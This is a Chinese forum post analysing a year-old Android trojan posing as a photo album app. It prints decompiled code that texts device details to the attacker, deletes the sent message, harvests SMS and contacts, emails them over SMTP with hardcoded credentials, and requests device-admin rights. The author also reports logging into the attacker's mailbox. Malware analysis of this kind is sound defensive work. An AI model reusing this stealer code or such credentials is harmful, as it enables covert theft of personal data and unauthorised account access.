新手上路
- 資源幣
- 19
- 積分
- 16
- 貢獻
- 0
- 在線時間
- 2 小時
- 注冊時間
- 2020-2-20
- 最后登錄
- 2020-5-2
|
零基礎(chǔ)安卓逆向?qū)W習之旅(五)安卓木馬分析
前言
上期小狼跟大伙分享了如何利用APP漏洞,本期學習之旅先中斷一下,跟大伙兒分享一個木馬的分析,木馬呢是去年的一個木馬,木馬里面使用的技術(shù)不是最新的技術(shù)手段,估計木馬的編寫者估計水平有限呢。
0x01 正文
1、總體功能
該木馬是偽裝在一個相冊 app 下, 主要偷取用戶的短信、通訊錄等個人隱私信息,然后再通過發(fā)送郵件的方式向掛馬者的郵箱傳送這些偷取到的個人數(shù)據(jù)。這個木馬的主要功能有以下幾個:
① app 啟動時,先掛馬者的手機號碼發(fā)送用戶的設(shè)備 ID、 手機型號、系統(tǒng)版本等提示信息,用來提醒掛馬者有新中木馬的用戶,以便查看郵箱; 同時在短信發(fā)送完后,順便訪問短信數(shù)據(jù)庫,將發(fā)送的短信刪除。
② 讀取用戶短信 app 下的數(shù)據(jù)庫,獲取其中發(fā)信人號碼、 發(fā)信日期、短信內(nèi)容等私人信息。
③ 讀取用戶通訊錄 app 下的數(shù)據(jù)庫,讀取通訊錄中的姓名及與姓名對應(yīng)的電話、手機號碼。
④ 將上邊獲取的所有個人隱私信息轉(zhuǎn)換為郵件的格式,以便通過郵件向掛馬者
發(fā)送獲取到的數(shù)據(jù)。
⑤以掛馬者的郵箱賬號和密碼,調(diào)用手機上的 email 通信方式,將上邊轉(zhuǎn)換為
郵件格式的個人信息,發(fā)送到掛馬者的郵箱上。
⑥請求獲取管理員的權(quán)限, 使木馬更長久地存活。
總體流程圖:
1.png (192.63 KB, 下載次數(shù): 98)
下載附件
保存到相冊
2020-2-21 19:53 上傳
2、過程分析
2.1 查看 AndroidManifest.xml, 了解木馬權(quán)限
運 用 apktool 工 具 對 apk 文 件 進 行 反 編 譯 , 在 生 成 的AndroidManifest.xml 文件中可以查看到該 app 一共使用下邊的二十多個系統(tǒng)權(quán)限,其中包括讀取通訊錄信息、接收、讀取、修改、發(fā)送短信等涉及個人隱私信息的權(quán)限。
<uses-permission android:name="android.permission.INTERNET"/>
//獲取網(wǎng)絡(luò)套接字
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
//寫入外部存儲
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
//獲取網(wǎng)絡(luò)狀態(tài)
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
//獲取 WiFi 狀態(tài)
<uses-permission android:name="android.permission.WAKE_LOCK"/>
//允許使用 PowerManager 的 WakeLocks 保持進程在休眠時從屏幕消失
<uses-permission android:name="android.permission.VIBRATE"/>
//允許訪問振動器
<uses-permission android:name="android.permission.RECEIVE_WAP_PUSH"/>
//接收 WAP push 的信息
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
//獲取設(shè)備啟動時的廣播
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
//修改音頻設(shè)置
<uses-permission android:name="android.permission.RECEIVE_USER_PRESENT"/>
//獲取用戶啟動屏幕的廣播
<uses-permission android:name="android.permission.READ_CONTACTS"/>
//讀取通訊錄
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
//獲取通話狀態(tài)及電話號碼
<uses-permission android:name="android.permission.CALL_PHONE"/>
//初始化電話撥號不需通過撥號用戶界面讓用戶確認
<uses-permission android:name="android.permission.READ_SMS"/>
//讀取短信
<uses-permission android:name="android.permission.WRITE_SETTINGS"/>
//讀、寫用戶系統(tǒng)設(shè)置
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
//接收短信
<uses-permission android:name="android.permission.WRITE_SMS"/>
//編寫短信
<uses-permission android:name="android.permission.SEND_SMS"/>
//發(fā)送短信
2.2 獲取源碼,分析木馬機理
從 AndroidManifest.xml 文件可確定主活動:android:name="com.phone2.stop.activity.MainActivity"運用 dex2jar、 jd-gui 工具進行反編譯,獲取 app 的 java 源碼, 由主活動鎖定com 包中的 MainActivity.class,并定位到 onCreate()方法,其代碼如下
2.png (162.63 KB, 下載次數(shù): 85)
下載附件
保存到相冊
2020-2-21 19:54 上傳
(1)配置、初始化 configuration_data 文件
最先的可疑點是在對 j 類的調(diào)用,初始化后,便是對 j 類中 a/b/c/d/e 幾
個方法的調(diào)用,這幾個方法實現(xiàn)的功能是相似的,以 a 為例進行剖析,進入 a 方法, 代碼如下:
public static void a(Context paramContext)
{
if (com.phone.stop.db.a.a(paramContext).o()) {
return;
}
String str = h.a(com.phone.stop.db.a.a(paramContext).d());
com.phone.stop.db.a.a(paramContext).c(str);
com.phone.stop.db.a.a(paramContext).e(true);
}
該方法都將 context 傳入 com.phone.stop.db.a.a 類,并對里邊的相關(guān)方法進行調(diào)用,先是對 o()方法的返回結(jié)果進行判斷,再進一步查看 o()代碼
public boolean o()
{
return this.b.getBoolean("have_init_phone_number", false);
}
b 定義為:
this.b=paramContext.getSharedPreferences("configurations_data", 0);所 以 可 見 o() 方 法 是 讀 取 文 件 configuretions_data 中 鍵 值 為have_init_phone_number 所對應(yīng)的值,初始值是 false,便進行 d(), c(), e()三個方法的調(diào)用。
d():
public String d()
{
return this.b.getString("a100", "135****6943");
}
獲取字符串,并通過 h.a()方法對其進行字節(jié)轉(zhuǎn)換
c():
public void c(String paramString)
{
SharedPreferences.Editor localEditor = this.b.edit();
localEditor.putString("a10", paramString);
localEditor.commit();
}
c()方法是將上邊獲得的字符串編輯在 configurations_data 文件中再調(diào)用 e()將原本 have_init_phone_number 的值,改為 true。
public void e(boolean paramBoolean)
{
SharedPreferences.Editor localEditor = this.b.edit();
localEditor.putBoolean("have_init_phone_number", paramBoolean);
localEditor.commit();
}
這是 j 類中 a()所實現(xiàn)的配置,而其他幾個方法也是對 configurations_data文件進行鍵值對配置,可見,一開始對 j 類幾個的方法的調(diào)用,是先將有關(guān)數(shù)據(jù)存儲到 configurations_data 文件下,以便之后對內(nèi)容的讀取調(diào)用。
(2)獲取手機配置信息,向掛馬者發(fā)送提醒
onCreate()方法接著的是對!a.a(this).r()的判斷,其代碼如下:
public boolean r()
{
return this.b.getBoolean("has_send_phone_info", false);
}
仍是對 configurations_data 文件的操作,獲取 has_send_phone_info 的值,起初為 false,執(zhí)行:
paramBundle = ((TelephonyManager)getSystemService("phone")).getDeviceId();
//獲取手機設(shè)備的 ID
f.a("軟件安裝完畢\n 識別碼" + paramBundle + "\n" + e.a(), this);
//獲取用戶手機配置信息,并通過短信向木馬作者的手機發(fā)送
a.a(this).h(true);
//將 configurations_data 文件的 has_send_phone_info 鍵值設(shè)置為 true
對 f.a("軟件安裝完畢\n 識別碼" + paramBundle + "\n" + e.a(), this);進行分析
e.a():
public static String a()
{
return "型號:" + a(Build.MODEL) + ";\n 手機" + a(Build.BRAND) +";\n 系統(tǒng)版本: " + a(Build.VERSION.RELEASE);
}
由代碼可知 e.a()方法是調(diào)用 Build 來獲取用戶手機的型號、牌子、系統(tǒng)版本而 f.a()則是以獲得的這些信息來啟動新的線程,在該 Thread 類的 run()最后中執(zhí)行的是Class.forName("android.telephony.SmsManager").getMethod("sendTextMessage", new Class[] { String.class, String.class, String.class, PendingIntent.class, PendingIntent.class }).invoke(localObject2, newObject[] { a.a(this.b).d(), null, localObject1, null, null });
這里調(diào)用了 android.telephony.SmsManager 類的 sendTextMessage()方法來發(fā)送短信。 其中, localObject1 就是短信要發(fā)送的內(nèi)容,便是前邊獲取到的手機配置信息,而 a.a(this.b).d()相應(yīng)的代碼為:
public String d()
{
return this.b.getString("a100", "135****6943");
}
就是獲取一開始在 configurations_data 文件添加的鍵值對,從而通過該方法來獲取字符串"135****6943",這就是短信所要發(fā)送的目的手機,用來提醒作者新被掛馬的手機
(3)及時刪除剛發(fā)送的短信
發(fā)送完短信后順便將短信刪除, 執(zhí)行 h.b(this); 該方法通過 ContentResolver來訪問SMS數(shù)據(jù)庫,通過查詢獲取剛發(fā)送的短信 id,并通過該 id 刪除短信:
ContentResolver localContentResolver;
Cursor localCursor;
if (!com.phone.stop.db.a.a(paramContext).p())
//獲取 configurations_data 的相關(guān)鍵值,判斷是否記錄刪除了短信
{
localContentResolver = paramContext.getContentResolver();
localCursor = localContentResolver.query(com.phone.stop.a.a.b,null, null, null, "date");
// com.phone.stop.a.a.b 對應(yīng) content://sms/inbox
}
try
{
if ((!com.phone.stop.db.a.a(paramContext).p()) && (localCursor.moveToNext()))
{
int i = localCursor.getInt(localCursor.getColumnIndex("_id"));
if (localContentResolver.delete(Uri.parse("content://sms/" +i), null, null) == 1)
{ //刪除短信
com.phone.stop.db.a.a(paramContext).f(true); //修改鍵值
}
}
(4)執(zhí)行木馬核心部分,獲取、發(fā)送個人信息
onCreate()方法接著執(zhí)行的是
if (a.a(this).g()) {
d.a(this);
}
仍通過獲取 configurations_data 文件中鍵值的判斷
public boolean g()
{
return this.b.getBoolean("email_message_contacts_switch", true);
}
這是判斷是否要進行對用戶短信、通訊錄的發(fā)送, true所以執(zhí)行 d.a(this),而這里的 a 方法是下圖所示的,啟動新線程,進行這個木馬最主要的任務(wù)
3.png (100.19 KB, 下載次數(shù): 82)
下載附件
保存到相冊
2020-2-21 19:55 上傳
其中的后兩個 if 判斷,依然是通過 configurations_data 中相應(yīng)鍵值的判斷,第一次是判斷是否已經(jīng)發(fā)送用戶的短信信息,一開始當然是 false,進行用戶短信的獲取,并通過 email 向目標郵箱發(fā)送從用戶手機獲取到的短信。
4.png (168.38 KB, 下載次數(shù): 84)
下載附件
保存到相冊
2020-2-21 19:55 上傳
分析上圖中的代碼可以知道其中的主要功能便是:獲取短信數(shù)據(jù)庫里的重要信息,將所獲取的信息進行郵件格式的轉(zhuǎn)換,最后將整理后的信息通過 email 發(fā)送到木馬作者的郵箱。
(5)短信獲取,并用 email 發(fā)送
一開始是通過 localObject2 = i.a(paramContext);的調(diào)用將獲取到的信息傳給參數(shù) localObject2,查看 i.a 方法的調(diào)用,其主要代碼如下圖所示:
5.png (96.18 KB, 下載次數(shù): 83)
下載附件
保存到相冊
2020-2-21 19:56 上傳
通過查詢 content URI(“content://sms”)下{ "_id", "address", "person","body", "date", "type", "thread_id"}這幾個名稱所對應(yīng)的信息,其中主要包括了發(fā)信人號碼,發(fā)信日期,短信的內(nèi)容。然后像上邊代碼所示的,通過遍歷對這些值進行一一獲取,并保存在一開始的 List 下( localArrayList = new ArrayList(); ), 最 后 將 localArrayList 返 回 , 其 返 回 值 便 傳 給 了localObject2,接著是對這些獲取到的信息進行整理:
Object localObject3 =(com.phone.stop.d.b)((Iterator)localObject2).next();
((StringBuffer)localObject1).append("<br><br><font color=red>----------------------" + ((com.phone.stop.d.b)localObject3).b + " " +((com.phone.stop.d.b)localObject3).c + "-------------</font><br>");
//這里便是一個發(fā)信人的標題,包括了號碼區(qū)號,之后的 c 是重要的號碼
localObject3 = ((com.phone.stop.d.b)localObject3).d.iterator();
//迭代器
while (((Iterator)localObject3).hasNext()) //短信遍歷
{
localObject4 =(com.phone.stop.d.a)((Iterator)localObject3).next();
if (((com.phone.stop.d.a)localObject4).e == 1) {
((StringBuffer)localObject1).append(((com.phone.stop.d.a)localObject4).d).append(" ").append(((com.phone.stop.d.a)localObject4).c).append("<br>");
} else {
((StringBuffer)localObject1).append(((com.phone.stop.d.a)localObject4).d).append(" ").append("<font color=blue>").append(((com.phone.stop.d.a)localObject4).c).append("</font>").append("<br>");
}
//上邊的 if 過程是對短信內(nèi)容的整理,通過判斷確定內(nèi)容以黑/藍顏色發(fā)送整理為 email 發(fā)送格式后,便是進行向作者郵箱發(fā)送信息的步驟了,主要部分如下:
localObject2 = locala.h();
//獲取郵箱登陸賬號 this.b.getString("a60", "135****6943@189.cn");
localObject3 = locala.j();
//獲取郵箱登陸密碼 this.b.getString("a80", "laojia88");
localObject4 = locala.i();
//獲取目標郵箱 this.b.getString("a70", "135****6943@189.cn");
b localb = new b(); //建立起手機的 email 協(xié)議
localb.a("smtp.189.cn", "465"); //189 郵箱
localb.a((String)localObject2, "(IMEI)" + paramContext + "【短信記錄】", (String)localObject1);
//這里便是添加郵件發(fā)信人,郵件主題,郵件內(nèi)容
localb.a(new String[] { localObject4 });
//添加收信人
localb.b("smtp.189.cn", (String)localObject2, (String)localObject3);
//本地郵箱登陸
locala.j(true);
//給 configurations_data 的鍵值作標記, ”has_send_message“ =true,短信郵件已發(fā)送。
(6)繼續(xù)獲取通訊錄, 再次用 email
發(fā)送發(fā)送完用戶的短信信息,之后便是通訊錄的發(fā)送了,主要代碼如圖
6.png (106.66 KB, 下載次數(shù): 83)
下載附件
保存到相冊
2020-2-21 19:56 上傳
其大部分原理都跟上邊發(fā)送短信的相同,獲取通訊錄數(shù)據(jù),將數(shù)據(jù)整理為email 發(fā)送格式,向目標郵箱發(fā)送數(shù)據(jù),其中對通訊錄數(shù)據(jù)庫的獲取如下
7.png (101.92 KB, 下載次數(shù): 81)
下載附件
保存到相冊
2020-2-21 19:57 上傳
通過查詢通訊錄 content URI,然后獲取"_id", "display_name"名稱,遍歷數(shù)據(jù)庫里所有的通訊人信息,包括對一人對應(yīng)多個號碼的一一獲取,最后將獲取到的人名及對應(yīng)的所有號碼,添加到 List( localArrayList)里,將結(jié)果返回。接著便是對返回結(jié)果進行整理,將整個通訊信息發(fā)送給目標郵箱,過程跟上邊短信的相同。
(7)進一步提權(quán)
再獲取、發(fā)送完這些信息之后,還有對這個進行申請管理員權(quán)限的操作,便是執(zhí)行了 a()方法其代碼如下圖
8.png (175.63 KB, 下載次數(shù): 79)
下載附件
保存到相冊
2020-2-21 19:57 上傳
主要就是向"android.app.action.ADD_DEVICE_ADMIN"發(fā)送提權(quán)申請,這時用戶手機上管理權(quán)限程序就會彈出該 app 的提權(quán)申請確認 activity,當用戶不小心同意了該提權(quán)申請時,該木馬便可獲得管理權(quán)限,這將更有利于木馬的生存,不易被查殺、刪除。
(8)登錄掛馬者郵箱,查看木馬狀態(tài)
在上邊分析中可以獲得木馬作者的郵箱賬號及密碼,嘗試登陸查看該木馬近期的狀態(tài),如下圖,可見該木馬還在繼續(xù)活躍傳播。
9.png (25.56 KB, 下載次數(shù): 81)
下載附件
保存到相冊
2020-2-21 19:57 上傳
|
|